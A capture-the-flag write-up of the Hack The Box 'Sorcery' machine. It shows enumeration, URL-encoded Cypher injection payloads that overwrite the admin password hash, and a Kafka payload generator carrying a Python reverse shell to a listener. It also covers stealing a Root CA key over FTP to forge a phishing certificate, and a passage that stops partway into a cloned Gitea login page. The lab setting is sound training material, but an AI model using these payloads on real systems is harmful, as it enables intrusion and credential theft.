Enum

$ rustscan --ulimit 10000 -a 10.129.238.66 -- -sCTV -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com
 
[~] Automatically increasing ulimit value to 10000.
Open 10.129.238.66:22
Open 10.129.238.66:443
 
PORT    STATE SERVICE   REASON  VERSION
22/tcp  open  ssh       syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBfa7NkcG06jauyQoChLbmUKvvd6pkaufyqxTH7Lc0LeTfUmDv2PZsCeNM0mm6JytOdhIhsLONllRYME0Fizhjw=
443/tcp open  ssl/https syn-ack nginx/1.27.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| tls-alpn:
|   http/1.1
|   http/1.0
|_  http/0.9
| ssl-cert: Subject: commonName=sorcery.htb
| Issuer: commonName=Sorcery Root CA
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-31T02:09:11
| Not valid after:  2052-03-18T02:09:11
| MD5:   c294:7d7a:2965:5c32:3dc9:b850:e2e5:0d9a
| SHA-1: 9d44:6d3d:5fb6:252c:da8b:3dd1:b5a2:aeb3:1e4b:5534
| -----BEGIN CERTIFICATE-----
| MIIEuTCCAqECFFDAAPGK7ud2DPpuM8BMaxLfK0U+MA0GCSqGSIb3DQEBCwUAMBox
| GDAWBgNVBAMMD1NvcmNlcnkgUm9vdCBDQTAgFw0yNDEwMzEwMjA5MTFaGA8yMDUy
| MDMxODAyMDkxMVowFjEUMBIGA1UEAwwLc29yY2VyeS5odGIwggIiMA0GCSqGSIb3
| DQEBAQUAA4ICDwAwggIKAoICAQCzJ67yuLHya53/zQsksQ67gOY0gNWc+OcVKmf6
| I8dwbMHLuBYRNckTwvrRgi6C+qSQlsJxzRqaAdmgVQphhSEC5yBsPJZlzXHVw4iZ
| 6rznhlhyAFFJTcZelj/Si2HDwG5VFE1FNRlPwSCk1JXAZGhDpJZhlyq+/3uA2DdF
| zdh+0VrWzbWwzNf551De5xRtWPfU5Bogn1qcuenCV2RmZqqGCYj0BP+I8E+AqccH
| gicLQCG7d9G5pY6y3PrI/fUslqA0QEdw5XthrZSOiAxBTOcqEW9uA4hssOsUTd3H
| benGAlApswSGy8wWEsKzu3AnvERMCUr+kel0wX/y4rSpMFYLc5YY5A262Lgwc2Ib
| XR5C8nFaGhcLwYtUiwf6HRo52rm18eu1lFNfHW0Wy6ay6K3jxgUfpDziIgZyGacZ
| PM7Yrmqnpe4ovrVawlytIu2bupNYVPtZAktSFhtZHrhjbQz5qDrAEySdhMDfBfD4
| jtBj5EbtPWNrphQsk3N0fN+xuZfIq3xDn8UEiZ/HqsYXFse1f0R3Cl7kpO3aVFX+
| Md4qKNM0wsrIMCywYP3ZmUYeX8NcHsgYNWILunX5qYBYHCY1J+sIu00ctPxfRDmU
| ve+ppb6GQYFPuXpGzr0GEQHQDpPIBG46QzYYnGa8PgYJeFgj7Pt96lcOXnlgiZoE
| Lrl4qwIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQAzOj7t4yHHEI6Pn+FMyci/WFUi
| bQKq8QytZPb9n0oaU5WoECexuEsw9JeIUoMLbllB31bnbqJrdr2FdC3qBKJKlzM5
| MoJ+BdBMhhIO+q/AElc8y2kWxyqeuceLiEpt0FL3kN6y44eyqKSjb9hdIIAPqTB5
| 7AXCxLR7eP7zjBDPP5HVuEAvizmXyCTF4/6SnvyAse3SF5G2cKWr+yNqtZOkW0Us
| +3zoj/qP0pnHjZLR+OpQ9716Ls1Q1jvTB/RoUKuSTogDuhXJ1CYMhcQx9wkJcgZm
| lh5qAMh2eooxT6x9Ddyro45Z7u+rT3H9y6OcF5pWHlxQAj1hz6sw1mZqYN7gGwl6
| esChPBXQtH0cedj3e/2LDyvibMiY4ayRQo/ht98Q0qeyyTsms6DjphCbsdK6iDOQ
| g2ea6tdwmgEAvJggRcBhypBT6XGIjC6bP6cFy60NeMZUGvA673p18eYjTc3VFlpc
| FnInaCC2L9Dz8fn6iDWjlrPLcGDbIVLmsafFHd6oG9jor8ghNcPLQrSokJnZwkJM
| oWu6ErucUC/r9FPcDaWXBI9CzpwzRbYHo/L2nXikRS8MExI3yZWP5dsxFuALVZE4
| oGVdkAuuUVt+lOZ7ik8OWLxQKENAYAv88apzmWuHlM/j+/v9lygzauLtPhVhbpse
| 4PPnLBiUeFv9xmOPvw==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.27.1
| http-title: Sorcery
|_Requested resource was /auth/login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 
$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u https://FUZZ.sorcery.htb/ -H "Host: FUZZ.sorcery.htb" -k
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : https://FUZZ.sorcery.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.sorcery.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
 
git                     [Status: 200, Size: 13591, Words: 1048, Lines: 272, Duration: 259ms]
  • Not much here, so lets check out 443 (HTTPS) in browser

  • Issues has interesting information

  • Hint at potential vulnerability Cypher Injection (make sure to URL encode).
  • We know user asdf password, so lets grab hash and replace admin’s so we can login.
  • Append URL Encoded payload to URL (leave first quote un-encoded)
"}) OPTIONAL MATCH (u:User {username: "asdf"}) RETURN result { .*, description: u.password }//

"%7D%29%20OPTIONAL%20MATCH%20%28u%3AUser%20%7Busername%3A%20%22asdf%22%7D%29%20RETURN%20result%20%7B%20%2E%2A%2C%20description%3A%20u%2Epassword%20%7D%2F%2F

  • Now replace admin hash with known hash for “asdf”
"}) OPTIONAL MATCH (u:User {username: "admin"}) SET u.password = "$argon2id$v=19$m=19456,t=2,p=1$M+UZZHbWWGUXY6qyBtOx1w$S6NYd03Xf7imjO9EjPYukO5gA6Vq1dnjjqye9qDHiLo" RETURN result { .*, description: u.password }//

"%7D%29%20OPTIONAL%20MATCH%20%28u%3AUser%20%7Busername%3A%20"admin"%7D%29%20SET%20u.password%20%3D%20"%24argon2id%24v%3D19%24m%3D19456%2Ct%3D2%2Cp%3D1%24M%2BUZZHbWWGUXY6qyBtOx1w%24S6NYd03Xf7imjO9EjPYukO5gA6Vq1dnjjqye9qDHiLo"%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20u.password%20%7D%2F%2F

  • Log out and login as admin : asdf

  • Passkey required to use DNS/Debug/Blog
  • Using chrome dev tools we can emulate passkey device

  • Enable like so

  • Add Passkey (keep console open)

  • Now we can try to login via Passkey

  • Now we can access tabs, finding hint at path in Blog

User

Path

  • FTP server contains RootCA key
  • Mail must originate from specific internal subdomain
  • Tom is an idiot who clicks on anything
services:
  backend:
    restart: always
    platform: linux/amd64
    build:
      dockerfile: ./backend/Dockerfile
      context: .
    environment:
      WAIT_HOSTS: neo4j:7687, kafka:9092
      ROCKET_ADDRESS: 0.0.0.0
      DATABASE_HOST: ${DATABASE_HOST}
      DATABASE_USER: ${DATABASE_USER}
      DATABASE_PASSWORD: ${DATABASE_PASSWORD}
      INTERNAL_FRONTEND: http://frontend:3000
      KAFKA_BROKER: ${KAFKA_BROKER}
      SITE_ADMIN_PASSWORD: ${SITE_ADMIN_PASSWORD}
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/8000"]
      interval: 5s
      timeout: 10s
      retries: 5
 
  frontend:
    restart: always
    build: frontend
    environment:
      WAIT_HOSTS: backend:8000
      API_PREFIX: ${API_PREFIX}
      HOSTNAME: 0.0.0.0
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/3000"]
      interval: 5s
      timeout: 10s
      retries: 5
 
  neo4j:
    restart: always
    image: neo4j:5.23.0-community-bullseye
    environment:
      NEO4J_AUTH: ${DATABASE_USER}/${DATABASE_PASSWORD}
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/7687"]
      interval: 5s
      timeout: 10s
      retries: 5
 
  kafka:
    restart: always
    build: kafka
    environment:
      CLUSTER_ID: pXWI6g0JROm4f-1iZ_YH0Q
      KAFKA_NODE_ID: 1
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT
      KAFKA_LISTENERS: PLAINTEXT://kafka:9092,CONTROLLER://kafka:9093
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092
      KAFKA_PROCESS_ROLES: broker,controller
      KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:9093
      KAFKA_CONTROLLER_LISTENER_NAMES: CONTROLLER
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/kafka/9092"]
      interval: 5s
      timeout: 10s
      retries: 5
 
  dns:
    restart: always
    build: dns
    environment:
      WAIT_HOSTS: kafka:9092
      KAFKA_BROKER: ${KAFKA_BROKER}
 
  mail:
    restart: always
    image: mailhog/mailhog:v1.0.1
 
  ftp:
    restart: always
    image: million12/vsftpd:cd94636
    environment:
      ANONYMOUS_ACCESS: true
      LOG_STDOUT: true
    volumes:
      - "./ftp/pub:/var/ftp/pub"
      - "./certificates/generated/RootCA.crt:/var/ftp/pub/RootCA.crt"
      - "./certificates/generated/RootCA.key:/var/ftp/pub/RootCA.key"
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/21"]
      interval: 5s
      timeout: 10s
      retries: 5
 
  gitea:
    restart: always
    build:
      dockerfile: gitea/Dockerfile
      context: .
    environment:
      GITEA_USERNAME: ${GITEA_USERNAME}
      GITEA_PASSWORD: ${GITEA_PASSWORD}
      GITEA_EMAIL: ${GITEA_EMAIL}
      USER_UID: 1000
      USER_GID: 1000
      GITEA__service__DISABLE_REGISTRATION: true
      GITEA__openid__ENABLE_OPENID_SIGNIN: false
      GITEA__openid__ENABLE_OPENID_SIGNUP: false
      GITEA__security__INSTALL_LOCK: true
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/3000"]
      interval: 5s
      timeout: 10s
      retries: 5
 
  mail_bot:
    restart: always
    platform: linux/amd64
    build: mail_bot
    environment:
      WAIT_HOSTS: mail:8025
      MAILHOG_SERVER: ${MAILHOG_SERVER}
      CA_FILE: ${CA_FILE}
      EXPECTED_RECIPIENT: ${EXPECTED_RECIPIENT}
      EXPECTED_DOMAIN: ${EXPECTED_DOMAIN}
      MAIL_BOT_INTERVAL: ${MAIL_BOT_INTERVAL}
      SMTP_SERVER: ${SMTP_SERVER}
      SMTP_PORT: ${SMTP_PORT}
      PHISHING_USERNAME: ${PHISHING_USERNAME}
      PHISHING_PASSWORD: ${PHISHING_PASSWORD}
    volumes:
      - "./certificates/generated/RootCA.crt:/app/RootCA.crt"
 
  nginx:
    restart: always
    build: nginx
    volumes:
      - "./nginx/nginx.conf:/etc/nginx/nginx.conf"
      - "./certificates/generated:/etc/nginx/certificates"
    environment:
      WAIT_HOSTS: frontend:3000, gitea:3000
    healthcheck:
      test: ["CMD", "bash", "-c", "cat < /dev/null > /dev/tcp/127.0.0.1/443"]
      interval: 5s
      timeout: 10s
      retries: 5
    ports:
      - "443:443"
*snip*
 
 for message_set in message_sets.iter() {
            for message in message_set.messages() {
                let Ok(command) = str::from_utf8(message.value) else {
                    continue;
                };
 
                println!("[*] Got new command: {}", command);
 
                let mut process = match Command::new("bash").arg("-c").arg(command).spawn() {
                    Ok(process) => process,
                    Err(error) => {
                        println!("[-] {error}");
                        continue;
                    }
                };
  • If we can interact with kafka, we should be able to execute commands
  • Debug menu supplies interesting functionality

*snip*
 
#[post("/port", data = "<data>")]
pub fn port_data(
    _guard1: RequireAdmin,
    _guard2: RequirePasskey,
    data: Json<Request>,
) -> Result<Json<Response>, AppError> {
    let Ok(mut stream) = TcpStream::connect(format!("{}:{}", data.host, data.port)) else {
        return Err(AppError::NotFound);
    };
 
    if stream
        .set_read_timeout(Some(Duration::from_secs(5)))
        .is_err()
    {
        return Err(AppError::Unknown);
    }
 
    let mut response: Option<Vec<String>> = match data.expect_result {
        true => Some(vec![]),
        false => None,
    };
 
    for request in data.data.iter() {
        let Ok(to_send) = hex::decode(request) else {
            return Err(AppError::WrongInput);
        };
 
        if stream.write(to_send.as_slice()).is_err() {
            return Err(AppError::Unknown);
        }
 
        if data.expect_result {
            let mut result = Vec::new();
            stream.read_to_end(&mut result).ok();
            response.as_mut().unwrap().push(hex::encode(&result));
        }
    }
*snip*
  • Appears we can send a payload through Debug and achieve RCE with kafka
  • Teammate supplied a payload generator script from GPT

kafka.py

import struct, zlib
 
def make_produce_payload(topic: str, cmd: str) -> bytes:
    # ——— Header ———
    api_key       = 0    # Produce
    api_version   = 0
    correlation   = 1
    client_id     = ""   # empty
    header = struct.pack(">hhI H", api_key, api_version, correlation, len(client_id)) \
           + client_id.encode()
 
    # ——— Message (CRC + magic+attrs+keylen+valuelen+value) ———
    magic, attrs = b"\x00", b"\x00"
    key_len      = struct.pack(">i", -1)      # null key
    val_bytes    = cmd.encode()
    val_len      = struct.pack(">i", len(val_bytes))
 
    body = magic + attrs + key_len + val_len + val_bytes
    crc  = struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)
    message = crc + body
 
    # ——— MessageSet ———
    offset        = struct.pack(">q", 0)
    msg_size      = struct.pack(">i", len(message))
    message_set   = offset + msg_size + message
    ms_size_field = struct.pack(">i", len(message_set))
 
    # ——— PartitionData array ———
    partition    = struct.pack(">i", 0)
    parts_array  = struct.pack(">i", 1) + partition + ms_size_field + message_set
 
    # ——— TopicData array ———
    tname      = topic.encode()
    topic_str  = struct.pack(">h", len(tname)) + tname + parts_array
    topics_arr = struct.pack(">i", 1) + topic_str
 
    # ——— Body ———
    required_acks = struct.pack(">h", 1)
    timeout_ms    = struct.pack(">i", 5000)
    body_all      = required_acks + timeout_ms + topics_arr
 
    # ——— Full request with length prefix ———
    req          = header + body_all
    return struct.pack(">i", len(req)) + req
 
if __name__ == "__main__":
    cmd = "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"<IP>\",<PORT>));[os.dup2(s.fileno(), f) for f in (0,1,2)]; pty.spawn(\"/bin/bash\")'"
    payload = make_produce_payload("update", cmd)
    print(payload.hex())

  • Catch with listener
user@7bfb70ee5b9c:/app$ id
uid=1001(user) gid=1001(user) groups=1001(user)
 
user@7bfb70ee5b9c:/app$ whoami
user
  • Recall that the FTP server hosts the RootCA certificates
  • Limited shell so python is useful here
user@7bfb70ee5b9c:/app$ cd ../home/user
cd ../home/user
 
user@7bfb70ee5b9c:/home/user$ python3 -c 'import ftplib; f=ftplib.FTP("ftp"); f.login("anonymous","anonymous@example.com"); f.cwd("pub"); [f.retrbinary(f"RETR {x}", open(x,"wb").write) for x in ["RootCA.key","RootCA.crt"]]; f.quit()'
 
user@7bfb70ee5b9c:/home/user$ ls
 
RootCA.crt  RootCA.key
 
user@7bfb70ee5b9c:/home/user$ cat RootCA.crt
 
-----BEGIN CERTIFICATE-----
MIIFFzCCAv+gAwIBAgIUVZjiESnop+nNu9rkWlbXORjlrc0wDQYJKoZIhvcNAQEL
BQAwGjEYMBYGA1UEAwwPU29yY2VyeSBSb290IENBMCAXDTI0MTAzMTAyMDkwOFoY
DzIyOTgwODE2MDIwOTA4WjAaMRgwFgYDVQQDDA9Tb3JjZXJ5IFJvb3QgQ0EwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCN/ViSM+ZkeuX17l4GF+0GTcfO
0HX98yvnA5+MQ+TvzKuEHUxkmlL/28xwtIzT/ejB0sKcr7T733kiiy2PMsIbywzM
rJrlLBCAekb1hdqXXb0CcNEZrVQGZnU2h9iFBpsexXvh+oUPszrBdxOAITI6HPio
p/IjTfyt1QNtQJTNcB7ernYVb4lH043QAgS6M9CcYXev7pDarynbOZvEe5aS42NY
+MtEg643k4JM1T4NQGKHkGhWO/73OzCero2Rpyz/Wo7fVnpVhrwNdexiStbCUtqQ
qDKaieeigjZtpQKNLC5tC6fWrN3dSWT+diyQ+sQfrVYQQc8oWPbQHAysaGP6KGW+
V51Ai5z0vshG5W36GEHAmP8opvvVzPrS4Y9L6L1rMuIHwsCmTz/koBf8pJJ0sURB
1edux+j+Wzp9B8umONaKMOvG1GejVGW8UAhmVhK3ebr/Vto48J5svgtJO9d/QmZd
XlKsIdvaRUzSHTQfflQ7k1G9AlNdp3PNXW4YrlWlP+b4aSSyet6EyQR1KFmipGu2
ozbgMxYQ0nb4UwkCar3QJ3funYBjTdJtV5fHSUzmTO0BRH2jFi0VaDtIMBpmYQFo
kUJZSA5PW+ujDLoAQQDjMd5M7NJi4dWPdbAL9zCL7I41DUyk2hPuYVocd7SW1pTU
7bER1p5kKYlhwhnAHQIDAQABo1MwUTAdBgNVHQ4EFgQUjkNkC2vZwFux5uHSWfP+
U1HQbMkwHwYDVR0jBBgwFoAUjkNkC2vZwFux5uHSWfP+U1HQbMkwDwYDVR0TAQH/
BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAZHTimjRmsbRIlq2wIcNXnaFHtdk4
kvXcgHg3G9kPk27QKTYnAFicAmFDJkWdwMdB9eAhyurcvpWvP8Z+WFrQaOAUFZje
kY/CB+1/pouYIxw9IpTanl+hN0Ca4C74fXUfk3am21ntl7S/OomtZDISvaPALr1E
ejE3MiEBDg+V03tWA1fLtSX039rh2trjn5Jgg498jlumTV+62Tg9OoAS1liCPzLA
aps6odiYVnjuqhpfHRHoifIn1enadbLpKb7C58iw/KnuTzsQ8suweWbRsSkBKXQo
b8ozrF/MaxEk3dzakfV+yEsXIhmbDrPa0LGdAARXIPeEIRyl3qk7N4lmJVCt/94K
tyypoNIhqRvKLs+vGQHrGJjKezzm4ygZ0qO9z6QqliYobcRCioxb+Ml3qPGtggws
xrFDATMN5r5TNbTkm1y2apeB5fpaHyQLWZzbm7acZhBMVZ4wI/QPV2o+bwZeKCXH
frakt9Nz8KCzlulUt/C9D0rnFoTDJnG/focvWewuW9bKQqJLmSj6L0/Vvc2a+lWc
7kDfSUCHvTYR1OrwggA1HJ48Eu/NwNERvxXm395B9hCRgsji3jLEaUOgPuq1hrgb
u5GqrPn8BMpsLs92Y/pMUtWbF3DcM8jn+hjL3owallYj2E9Md6mQ5pfI1+PiTvf/
udz+k7mYqIcCjsE=
-----END CERTIFICATE-----
 
 
user@7bfb70ee5b9c:/home/user$ cat RootCA.key
 
-----BEGIN ENCRYPTED PRIVATE KEY-----
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
-----END ENCRYPTED PRIVATE KEY-----
  • Lets enum hostnames (different each spawn)
user@7bfb70ee5b9c:/home/user$ for i in {1..12}; do getent hosts 172.19.0.$i; done
 
172.19.0.2      services-mail_bot-1.services_default
172.19.0.3      services-frontend-1.services_default
172.19.0.4      7bfb70ee5b9c
172.19.0.5      services-gitea-1.services_default
172.19.0.6      services-kafka-1.services_default
172.19.0.7      services-backend-1.services_default
172.19.0.8      services-mail-1.services_default
172.19.0.9      services-ftp-1.services_default
172.19.0.10     services-nginx-1.services_default
172.19.0.11     services-neo4j-1.services_default
  • Prepare our phishing environment
  • When prompted for password - password
  • services-mail-1.services_default is what we need to phish emails
user@7bfb70ee5b9c:/home/user$ openssl genrsa -out phish.sorcery.htb.key 2048
 
user@7bfb70ee5b9c:/home/user$ openssl req -new -key phish.sorcery.htb.key -out phish.sorcery.htb.csr -subj '/CN=phish.sorcery.htb'
 
user@7bfb70ee5b9c:/home/user$ openssl x509 -req -in phish.sorcery.htb.csr -CA ./RootCA.crt -CAkey ./RootCA.key -CAcreateserial -out phish.sorcery.htb.crt -days 365
 
user@7bfb70ee5b9c:/home/user$ cat phish.sorcery.htb.key phish.sorcery.htb.crt > phish.sorcery.htb.pem
 
user@7bfb70ee5b9c:/home/user$ cat RootCA.crt >> phish.sorcery.htb.pem
  • We still need a few things to complete our phishing scenario
  • Create index.html on local machine

index.html

<!DOCTYPE html>
<html lang="en-US" data-theme="gitea-auto">
  <head>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Sign In - Gitea: Git with a cup of tea</title>
    <link
      rel="manifest"
      href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9sb2NhbGhvc3Q6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"
    />
    <meta name="author" content="Gitea - Git with a cup of tea" />
    <meta
      name="description"
      content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go"
    />
    <meta name="keywords" content="go,git,self-hosted,gitea" />
    <meta name="referrer" content="no-referrer" />
    <link rel="icon" href="/assets/img/favicon.svg" type="image/svg+xml" />
    <link rel="alternate icon" href="/assets/img/favicon.png" type="image/png" />
    <link rel="stylesheet" href="/assets/css/index.css?v=1.22.1" />
    <link rel="stylesheet" href="/assets/css/theme-gitea-auto.css?v=1.22.1" />
  </head>
  <body
    hx-headers='{"x-csrf-token": "tVUz5vqZRLUZ2HBKze4YNyQYaqU6MTc1MDA1NzMyMDU1OTc0MTYyMw"}'
    hx-swap="outerHTML"
    hx-ext="morph"
    hx-push-url="false"
  >
    <nav id="navbar" aria-label="Navigation Bar">
      <a class="item" id="navbar-logo" href="/" aria-label="Home">
        <img width="30" height="30" src="/assets/img/logo.svg" alt="Logo" />
      </a>
      <a class="item active" rel="nofollow" href="/user/login">Sign In</a>
    </nav>
 
